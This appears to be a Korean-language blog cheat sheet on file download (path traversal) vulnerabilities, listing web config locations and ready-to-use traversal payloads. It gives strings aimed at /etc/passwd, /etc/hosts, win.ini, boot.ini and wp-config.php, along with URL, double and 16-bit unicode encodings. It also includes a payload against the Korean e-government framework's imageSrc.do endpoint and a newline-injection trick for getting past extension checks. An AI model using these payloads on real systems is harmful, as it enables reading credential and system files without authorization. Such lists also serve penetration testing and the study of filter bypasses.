파일 다운로드 취약점

 

 

윈도우, 리눅스 파일 다운로드

https://parktest0325.tistory.com/67

 

ASP 프레임웍

[WEB_ROOT]/web.config

 

JSP 프레임웍

[WEB_ROOT]/WEB-INF/web.xml

[WEB_ROOT]/META-INF/MANIFEST.MF

 

 

 1) 파일 다운로드 경로

  ../../../../etc/passwd
  ../../../../etc/hosts
  ../../../../winnt/win.ini
  ../../../../boot.ini
  ../../../../wp-config.php

 

 2) 인코딩

  ../../../../etc/passwd
  %2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64

  ../../../../../../../../../etc/hosts
  인코딩 %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%68%6f%73%74%73
  더블 인코딩 %252e%252e%2f%252e%252e%2f%252e%252e%2f%252e%252e%2f%252e%252e%2fetc%2fhosts
 

 3) 전자정부 표준프레임워크 사용

  imageSrc.do?path=/....//....//....//....//....//....//....//....//....//....//etc/&physical=passwd

 
 4) 그 외

  passwd %70%61%73%73%77%64

  16bit 유니코드인코딩 .(%u002e), /(%u2215), \(%u2216)

  더블URL 인코딩 .(%252e), /(%252f), \(%255c)

  유닉스 ../../../../etc/passwd%0a.jpg > 개행문자(%0a)를 삽입 가능